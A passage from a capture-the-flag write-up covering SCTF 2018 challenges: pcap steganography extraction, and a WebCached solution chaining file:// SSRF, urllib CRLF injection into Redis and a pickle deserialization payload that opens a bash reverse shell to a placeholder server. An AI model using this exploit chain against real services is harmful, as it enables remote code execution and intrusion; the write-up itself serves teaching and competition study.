<li>after this packet, JPEG file header appers again</li>
</ul>
</li>
<li>there is response packet with payload <code class="highlighter-rouge">0</code> or <code class="highlighter-rouge">1</code>
<ul>
<li>seems to be <code class="highlighter-rouge">1</code> means success and <code class="highlighter-rouge">0</code> means fail.</li>
</ul>
</li>
</ul>
<p>Extracting each payload after <code class="highlighter-rouge">1</code> response and combining them with 0 size packet as separator, I got 21 JPEG files but still corrupted.<br />
Then trying to collect each payload <strong>before</strong> <code class="highlighter-rouge">1</code> response, I got valid JPEG files.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">pyshark</span>
<span class="kn">import</span> <span class="nn">struct</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="n">pcaps</span> <span class="o">=</span> <span class="n">pyshark</span><span class="o">.</span><span class="n">FileCapture</span><span class="p">(</span><span class="s">'./HideInSSL.pcap'</span><span class="p">)</span>
<span class="n">peer</span> <span class="o">=</span> <span class="p">[</span><span class="s">'192.168.0.128'</span><span class="p">,</span> <span class="s">'192.168.0.107'</span><span class="p">]</span>
<span class="n">response</span> <span class="o">=</span> <span class="s">'31'</span>
<span class="n">cnt</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">chunks</span> <span class="o">=</span> <span class="nb">list</span><span class="p">()</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">exists</span><span class="p">(</span><span class="s">'d'</span><span class="p">):</span>
<span class="n">os</span><span class="o">.</span><span class="n">mkdir</span><span class="p">(</span><span class="s">'d'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">pcaps</span><span class="p">:</span>
<span class="k">if</span> <span class="nb">hasattr</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="s">'ssl'</span><span class="p">)</span> <span class="ow">and</span> <span class="n">p</span><span class="o">.</span><span class="n">ip</span><span class="o">.</span><span class="n">src</span> <span class="ow">in</span> <span class="n">peer</span> <span class="ow">and</span> <span class="n">p</span><span class="o">.</span><span class="n">ip</span><span class="o">.</span><span class="n">dst</span> <span class="ow">in</span> <span class="n">peer</span><span class="p">:</span>
<span class="k">if</span> <span class="n">p</span><span class="o">.</span><span class="n">ip</span><span class="o">.</span><span class="n">src</span> <span class="o">==</span> <span class="n">peer</span><span class="p">[</span><span class="mi">0</span><span class="p">]:</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">tcp</span><span class="o">.</span><span class="n">payload</span>
<span class="k">if</span> <span class="n">p</span><span class="o">.</span><span class="n">ip</span><span class="o">.</span><span class="n">src</span> <span class="o">==</span> <span class="n">peer</span><span class="p">[</span><span class="mi">1</span><span class="p">]:</span>
<span class="n">d</span> <span class="o">=</span> <span class="s">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="k">lambda</span> <span class="n">s</span><span class="p">:</span><span class="n">s</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">),</span> <span class="n">p</span><span class="o">.</span><span class="n">ssl</span><span class="o">.</span><span class="n">handshake_random_bytes</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">":"</span><span class="p">)))</span>
<span class="n">size</span><span class="p">,</span> <span class="n">data</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">unpack</span><span class="p">(</span><span class="s">"<I"</span><span class="p">,</span> <span class="n">d</span><span class="p">[:</span><span class="mi">4</span><span class="p">])[</span><span class="mi">0</span><span class="p">],</span> <span class="n">d</span><span class="p">[</span><span class="mi">4</span><span class="p">:]</span>
<span class="k">if</span> <span class="n">response</span> <span class="o">==</span> <span class="s">'31'</span><span class="p">:</span>
<span class="n">chunks</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">data</span><span class="p">[:</span><span class="n">size</span><span class="p">])</span>
<span class="k">if</span> <span class="n">size</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="nb">open</span><span class="p">(</span><span class="s">'./d/{}.jpg'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">cnt</span><span class="p">),</span> <span class="s">'w'</span><span class="p">)</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">chunks</span><span class="p">))</span>
<span class="k">print</span> <span class="n">cnt</span>
<span class="n">cnt</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="n">chunks</span> <span class="o">=</span> <span class="nb">list</span><span class="p">()</span>
</code></pre></div></div>
<p>combining a character in each JPEG files, I got flag.<br />
<code class="highlighter-rouge">SCTF{H3llo_Cov3rt_S5L}</code></p>
<h2 id="webcached">WebCached</h2>
<blockquote>
<p>Cache Your Favorite Page @ <a href="http://webcached.eatpwnnosleep.com/">WebCached</a></p>
</blockquote>
<p>This application is viewer for entered url.<br />
<img src="/assets/sctf-2018-quals/webcached1.png" alt="webcached1.png" width="50%" /></p>
<p>Of course file scheme is available.</p>
<p><code class="highlighter-rouge">file:///etc/passwd</code><br />
<img src="/assets/sctf-2018-quals/webcached2.png" alt="webcached2.png" /></p>
<p>First I checked <code class="highlighter-rouge">/proc/self/cmdline</code> and found that this application is running under uwsgi.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>uwsgi--ini/tmp/uwsgi.ini
</code></pre></div></div>
<p><code class="highlighter-rouge">/tmp/uwsgi.ini</code></p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[uwsgi]
uid=www-data
gid=www-data
chdir=/app
module=run
callable=app
chmod-socket=664
socket=/tmp/uwsgi.sock
python-autoreload = 1
processes=16
</code></pre></div></div>
<p>then I found python source code at <code class="highlighter-rouge">/app/run.py</code></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/usr/bin/env python2</span>
<span class="kn">from</span> <span class="nn">redis</span> <span class="kn">import</span> <span class="n">Redis</span>
<span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="n">render_template</span>
<span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">session</span><span class="p">,</span> <span class="n">redirect</span><span class="p">,</span> <span class="n">url_for</span><span class="p">,</span> <span class="n">abort</span>
<span class="kn">from</span> <span class="nn">session_interface</span> <span class="kn">import</span> <span class="n">RedisSessionInterface</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">urllib</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">Redis</span><span class="p">()</span>
<span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span>
<span class="n">app</span><span class="o">.</span><span class="n">session_interface</span> <span class="o">=</span> <span class="n">RedisSessionInterface</span><span class="p">()</span>
<span class="n">timeout</span> <span class="o">=</span> <span class="n">socket</span><span class="o">.</span><span class="n">getdefaulttimeout</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">cached</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
<span class="n">key</span> <span class="o">=</span> <span class="s">'{}:{}'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">request</span><span class="o">.</span><span class="n">remote_addr</span><span class="p">,</span> <span class="n">url</span><span class="p">)</span>
<span class="n">resp</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="k">if</span> <span class="n">resp</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
<span class="n">resp</span> <span class="o">=</span> <span class="n">load_cache</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">setex</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">resp</span><span class="p">,</span> <span class="mi">3</span><span class="p">)</span>
<span class="k">return</span> <span class="n">resp</span>
<span class="k">def</span> <span class="nf">load_cache</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">get</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
<span class="k">return</span> <span class="n">urllib</span><span class="o">.</span><span class="n">urlopen</span><span class="p">(</span><span class="n">url</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">socket</span><span class="o">.</span><span class="n">setdefaulttimeout</span><span class="p">(</span><span class="mf">0.5</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">resp</span> <span class="o">=</span> <span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
<span class="k">except</span> <span class="n">socket</span><span class="o">.</span><span class="n">timeout</span><span class="p">:</span>
<span class="n">resp</span> <span class="o">=</span> <span class="s">'{} may be dead...'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
<span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
<span class="n">resp</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="n">socket</span><span class="o">.</span><span class="n">setdefaulttimeout</span><span class="p">(</span><span class="n">timeout</span><span class="p">)</span>
<span class="k">return</span> <span class="n">resp</span>
<span class="nd">@app.route</span><span class="p">(</span><span class="s">'/view'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">view</span><span class="p">():</span>
<span class="n">url</span> <span class="o">=</span> <span class="n">session</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s">'url'</span><span class="p">,</span> <span class="bp">None</span><span class="p">)</span>
<span class="k">if</span> <span class="n">url</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span>
<span class="n">session</span><span class="o">.</span><span class="n">pop</span><span class="p">(</span><span class="s">'url'</span><span class="p">)</span>
<span class="k">return</span> <span class="n">cached</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="n">url_for</span><span class="p">(</span><span class="s">'main'</span><span class="p">))</span>
<span class="nd">@app.route</span><span class="p">(</span><span class="s">'/'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">,</span> <span class="s">'POST'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="k">if</span> <span class="n">request</span><span class="o">.</span><span class="n">method</span> <span class="o">==</span> <span class="s">'GET'</span><span class="p">:</span>
<span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'main.html'</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">url</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="n">form</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s">'url'</span><span class="p">,</span> <span class="bp">None</span><span class="p">)</span> <span class="ow">or</span> <span class="n">abort</span><span class="p">(</span><span class="mi">404</span><span class="p">)</span>
<span class="n">session</span><span class="p">[</span><span class="s">'url'</span><span class="p">]</span> <span class="o">=</span> <span class="n">url</span>
<span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="n">url_for</span><span class="p">(</span><span class="s">'view'</span><span class="p">))</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">app</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">port</span><span class="o">=</span><span class="mi">12000</span><span class="p">,</span> <span class="n">host</span><span class="o">=</span><span class="s">'0.0.0.0'</span><span class="p">,</span> <span class="n">debug</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
</code></pre></div></div>
<p>also checked <code class="highlighter-rouge">/app/session_interface.py</code></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Server-side Sessions with Redis</span>
<span class="c"># http://flask.pocoo.org/snippets/75/</span>
<span class="kn">import</span> <span class="nn">base64</span>
<span class="kn">import</span> <span class="nn">pickle</span>
<span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">timedelta</span>
<span class="kn">from</span> <span class="nn">uuid</span> <span class="kn">import</span> <span class="n">uuid4</span>
<span class="kn">from</span> <span class="nn">redis</span> <span class="kn">import</span> <span class="n">Redis</span>
<span class="kn">from</span> <span class="nn">werkzeug.datastructures</span> <span class="kn">import</span> <span class="n">CallbackDict</span>
<span class="kn">from</span> <span class="nn">flask.sessions</span> <span class="kn">import</span> <span class="n">SessionInterface</span><span class="p">,</span> <span class="n">SessionMixin</span>
<span class="k">class</span> <span class="nc">RedisSession</span><span class="p">(</span><span class="n">CallbackDict</span><span class="p">,</span> <span class="n">SessionMixin</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">initial</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">sid</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">new</span><span class="o">=</span><span class="bp">False</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">on_update</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">modified</span> <span class="o">=</span> <span class="bp">True</span>
<span class="n">CallbackDict</span><span class="o">.</span><span class="n">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">initial</span><span class="p">,</span> <span class="n">on_update</span><span class="p">)</span>
<span class="bp">self</span><span class="o">.</span><span class="n">sid</span> <span class="o">=</span> <span class="n">sid</span>
<span class="bp">self</span><span class="o">.</span><span class="n">new</span> <span class="o">=</span> <span class="n">new</span>
<span class="bp">self</span><span class="o">.</span><span class="n">modified</span> <span class="o">=</span> <span class="bp">False</span>
<span class="k">class</span> <span class="nc">RedisSessionInterface</span><span class="p">(</span><span class="n">SessionInterface</span><span class="p">):</span>
<span class="n">serializer</span> <span class="o">=</span> <span class="n">pickle</span>
<span class="n">session_class</span> <span class="o">=</span> <span class="n">RedisSession</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">redis</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">prefix</span><span class="o">=</span><span class="s">'session:'</span><span class="p">):</span>
<span class="k">if</span> <span class="n">redis</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
<span class="n">redis</span> <span class="o">=</span> <span class="n">Redis</span><span class="p">()</span>
<span class="bp">self</span><span class="o">.</span><span class="n">redis</span> <span class="o">=</span> <span class="n">redis</span>
<span class="bp">self</span><span class="o">.</span><span class="n">prefix</span> <span class="o">=</span> <span class="n">prefix</span>
<span class="k">def</span> <span class="nf">generate_sid</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="nb">str</span><span class="p">(</span><span class="n">uuid4</span><span class="p">())</span>
<span class="k">def</span> <span class="nf">get_redis_expiration_time</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">app</span><span class="p">,</span> <span class="n">session</span><span class="p">):</span>
<span class="k">if</span> <span class="n">session</span><span class="o">.</span><span class="n">permanent</span><span class="p">:</span>
<span class="k">return</span> <span class="n">app</span><span class="o">.</span><span class="n">permanent_session_lifetime</span>
<span class="k">return</span> <span class="n">timedelta</span><span class="p">(</span><span class="n">days</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">open_session</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">app</span><span class="p">,</span> <span class="n">request</span><span class="p">):</span>
<span class="n">sid</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="n">cookies</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">app</span><span class="o">.</span><span class="n">session_cookie_name</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">sid</span><span class="p">:</span>
<span class="n">sid</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">generate_sid</span><span class="p">()</span>
<span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">session_class</span><span class="p">(</span><span class="n">sid</span><span class="o">=</span><span class="n">sid</span><span class="p">,</span> <span class="n">new</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="n">val</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">redis</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">prefix</span> <span class="o">+</span> <span class="n">sid</span><span class="p">)</span>
<span class="k">if</span> <span class="n">val</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span>
<span class="n">val</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">val</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">serializer</span><span class="o">.</span><span class="n">loads</span><span class="p">(</span><span class="n">val</span><span class="p">)</span>
<span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">session_class</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">sid</span><span class="o">=</span><span class="n">sid</span><span class="p">)</span>
<span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">session_class</span><span class="p">(</span><span class="n">sid</span><span class="o">=</span><span class="n">sid</span><span class="p">,</span> <span class="n">new</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">save_session</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">app</span><span class="p">,</span> <span class="n">session</span><span class="p">,</span> <span class="n">response</span><span class="p">):</span>
<span class="n">domain</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">get_cookie_domain</span><span class="p">(</span><span class="n">app</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">session</span><span class="p">:</span>
<span class="bp">self</span><span class="o">.</span><span class="n">redis</span><span class="o">.</span><span class="n">delete</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">prefix</span> <span class="o">+</span> <span class="n">session</span><span class="o">.</span><span class="n">sid</span><span class="p">)</span>
<span class="k">if</span> <span class="n">session</span><span class="o">.</span><span class="n">modified</span><span class="p">:</span>
<span class="n">response</span><span class="o">.</span><span class="n">delete_cookie</span><span class="p">(</span><span class="n">app</span><span class="o">.</span><span class="n">session_cookie_name</span><span class="p">,</span>
<span class="n">domain</span><span class="o">=</span><span class="n">domain</span><span class="p">)</span>
<span class="k">return</span>
<span class="n">redis_exp</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">get_redis_expiration_time</span><span class="p">(</span><span class="n">app</span><span class="p">,</span> <span class="n">session</span><span class="p">)</span>
<span class="n">cookie_exp</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">get_expiration_time</span><span class="p">(</span><span class="n">app</span><span class="p">,</span> <span class="n">session</span><span class="p">)</span>
<span class="n">val</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64encode</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">serializer</span><span class="o">.</span><span class="n">dumps</span><span class="p">(</span><span class="nb">dict</span><span class="p">(</span><span class="n">session</span><span class="p">)))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">redis</span><span class="o">.</span><span class="n">setex</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">prefix</span> <span class="o">+</span> <span class="n">session</span><span class="o">.</span><span class="n">sid</span><span class="p">,</span> <span class="n">val</span><span class="p">,</span>
<span class="nb">int</span><span class="p">(</span><span class="n">redis_exp</span><span class="o">.</span><span class="n">total_seconds</span><span class="p">()))</span>
<span class="n">response</span><span class="o">.</span><span class="n">set_cookie</span><span class="p">(</span><span class="n">app</span><span class="o">.</span><span class="n">session_cookie_name</span><span class="p">,</span> <span class="n">session</span><span class="o">.</span><span class="n">sid</span><span class="p">,</span>
<span class="n">expires</span><span class="o">=</span><span class="n">cookie_exp</span><span class="p">,</span> <span class="n">httponly</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span>
<span class="n">domain</span><span class="o">=</span><span class="n">domain</span><span class="p">)</span>
</code></pre></div></div>
<p>so there seems to be two vulnerabilities:</p>
<ul>
<li><code class="highlighter-rouge">RedisSessionInterface</code> uses pickle as serializer
<ul>
<li>code execution is here! (if I could inject arbitrary data into redis db)</li>
</ul>
</li>
<li>no check on <code class="highlighter-rouge">url</code> parameter on <code class="highlighter-rouge">load_cache</code>
<ul>
<li>this is vulnerable to SSRF</li>
</ul>
</li>
</ul>
<p>so roughly solution is do SSRF against redis with <code class="highlighter-rouge">urllib</code> and inject picked code into redis db.<br />
Let’s check whether redis is vulnerable against SSRF or not. In python urllib, just injecting <code class="highlighter-rouge">\r\n</code> doesn’t work. I’ve found issue at <a href="https://bugs.python.org/issue30458">CRLF Injection in httplib</a> and found that <code class="highlighter-rouge">\r\n[SPACE]</code> still works.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">urllib</span><span class="o">.</span><span class="n">urlopen</span><span class="p">(</span><span class="s">"http://[MY_SERVER_IP]</span><span class="se">\r\n</span><span class="s"> Injected: header</span><span class="se">\r\n</span><span class="s"> :10080"</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</code></pre></div></div>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET / HTTP/1.0
Host: [MY_SERVER_IP]
Injected: header
:10080
User-Agent: Python-urllib/1.17
Accept: */*
</code></pre></div></div>
<p>(One thing annoyed me was this exploit doesn’t work on macOS :(</p>
<p>Trying <code class="highlighter-rouge">slaveof</code> commands on redis, I got <code class="highlighter-rouge">PING</code> from redis server!<br />
<code class="highlighter-rouge">http://127.0.0.1\r\n slaveof [MY_SERVER_IP] 10080\r\n :6379</code></p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Connection from ec2-13-125-188-166.ap-northeast-2.compute.amazonaws.com 41614 received!
PING
</code></pre></div></div>
<p>(this command makes the application 500 but restored soon, sorry for temporary unavailability…</p>
<p>So everything is ready to exploit! Only remaining is prepare payload to inject.
I checked locally and found the session is picked and base64 encoded <code class="highlighter-rouge">{'url': '[URL]'}</code> (dict).
Of course pickle supports nested object so exploit is generated by following code:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">pickle</span>
<span class="k">class</span> <span class="nc">RCE</span><span class="p">(</span><span class="nb">dict</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">__reduce__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="p">(</span><span class="nb">__import__</span><span class="p">(</span><span class="s">'os'</span><span class="p">)</span><span class="o">.</span><span class="n">system</span><span class="p">,</span> <span class="p">(</span><span class="s">'bash -c "bash -i >& /dev/tcp/[MY_SERVER_IP]/10080 0>&1"'</span><span class="p">,</span> <span class="p">))</span>
<span class="n">rce</span> <span class="o">=</span> <span class="p">{</span><span class="s">'url'</span><span class="p">:</span> <span class="s">''</span><span class="p">,</span> <span class="s">'a'</span><span class="p">:</span> <span class="n">RCE</span><span class="p">()}</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">pickle</span><span class="o">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">rce</span><span class="p">))</span>
</code></pre></div></div>
<p>this base64 encoded string should be injected to <code class="highlighter-rouge">session:[session_id]</code> in redis db.
Note that the session cookie is deleted after redirected so you should not to follow redirect.</p>
<p>A conclusive exploit is here:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">pickle</span>
<span class="kn">import</span> <span class="nn">base64</span>
<span class="k">class</span> <span class="nc">RCE</span><span class="p">(</span><span class="nb">dict</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">__reduce__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="p">(</span><span class="nb">__import__</span><span class="p">(</span><span class="s">'os'</span><span class="p">)</span><span class="o">.</span><span class="n">system</span><span class="p">,</span> <span class="p">(</span><span class="s">'bash -c "bash -i >& /dev/tcp/[MY_SERVER_IP]/10080 0>&1"'</span><span class="p">,</span> <span class="p">))</span>
<span class="n">rce</span> <span class="o">=</span> <span class="p">{</span><span class="s">'url'</span><span class="p">:</span> <span class="s">''</span><span class="p">,</span> <span class="s">'a'</span><span class="p">:</span> <span class="n">RCE</span><span class="p">()}</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">pickle</span><span class="o">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">rce</span><span class="p">))</span>
<span class="c"># cPickle.loads(cPickle.dumps(rce))</span>
<span class="c"># exit(1)</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">"http://webcached.eatpwnnosleep.com/"</span>
<span class="c"># url = "http://localhost:12000"</span>
<span class="k">def</span> <span class="nf">ssrf</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span> <span class="n">host</span><span class="o">=</span><span class="s">'127.0.0.1'</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">6379</span><span class="p">):</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">payload</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">,</span> <span class="s">'</span><span class="se">\r\n</span><span class="s"> '</span><span class="p">)</span>
<span class="k">return</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="p">{</span><span class="s">'url'</span><span class="p">:</span> <span class="s">'http://{}</span><span class="se">\r\n</span><span class="s"> {}</span><span class="se">\r\n</span><span class="s"> :{}'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="n">port</span><span class="p">),</span> <span class="s">'action'</span><span class="p">:</span> <span class="s">''</span><span class="p">})</span><span class="o">.</span><span class="n">content</span>
<span class="n">req</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="p">{</span><span class="s">'url'</span><span class="p">:</span> <span class="s">''</span><span class="p">,</span> <span class="s">'action'</span><span class="p">:</span> <span class="s">''</span><span class="p">},</span> <span class="n">allow_redirects</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="n">sid</span> <span class="o">=</span> <span class="n">req</span><span class="o">.</span><span class="n">cookies</span><span class="p">[</span><span class="s">'session'</span><span class="p">]</span>
<span class="n">rediscmd</span> <span class="o">=</span> <span class="s">"""
set 'session:{sid}' '{payload}'
quit
"""</span><span class="p">[</span><span class="mi">1</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">sid</span><span class="o">=</span><span class="n">sid</span><span class="p">,</span> <span class="n">payload</span><span class="o">=</span><span class="n">payload</span><span class="p">)</span>
<span class="k">print</span> <span class="n">ssrf</span><span class="p">(</span><span class="n">rediscmd</span><span class="p">)</span>
<span class="k">print</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">cookies</span><span class="o">=</span><span class="p">{</span><span class="s">'session'</span><span class="p">:</span> <span class="n">sid</span><span class="p">})</span><span class="o">.</span><span class="n">content</span>
</code></pre></div></div>
<p>I got shell and found the flag under <code class="highlighter-rouge">/</code>.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>www-data@d33597a01cbb:/$ cat flag_dad9d752e1969f0e614ce2a4330efd6e
cat flag_dad9d752e1969f0e614ce2a4330efd6e
SCTF{c652f8004846fe0e3bf9571be26afbf1}
</code></pre></div></div>
<h2 id="through_the_router">Through The Router</h2>
<blockquote>
<p>You are an industrial spy hiding in the SCTF company.
You have found the secret recipe, but could not send any packet to your home.
That is because SCTF's corporate network is configured with SDN,
and that these [rules]> (https://s3.ap-northeast-2.amazonaws.com/sctf2018-qual-binaries/Rules.> png_8e49760cf79defa973b4e7199e50e0f062a49a15) are installed at all routers in the > network.</p>
<p>Craft a packet that satisfies:</p>
<ul>
<li>It is a UDP packet</li>
<li>It arrives at 10.0.0.1:22136.</li>
<li>Its body is a 6-byte string ‘secret’.</li>
</ul>
<p>Your packet will be sent using this python code:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
s.sendto(packet, ('10.0.0.1', 0))
</code></pre></div> </div>
<p>Therefore the packet must include IP and UDP headers.</p>
</blockquote>
<p>There are some rules on picture about openflow (or ONOS? I don’t know much about it)<br />
Here is an important part of picture<br />
<img src="/assets/sctf-2018-quals/ttr_rule.png" alt="ttr_rule.png" /></p>
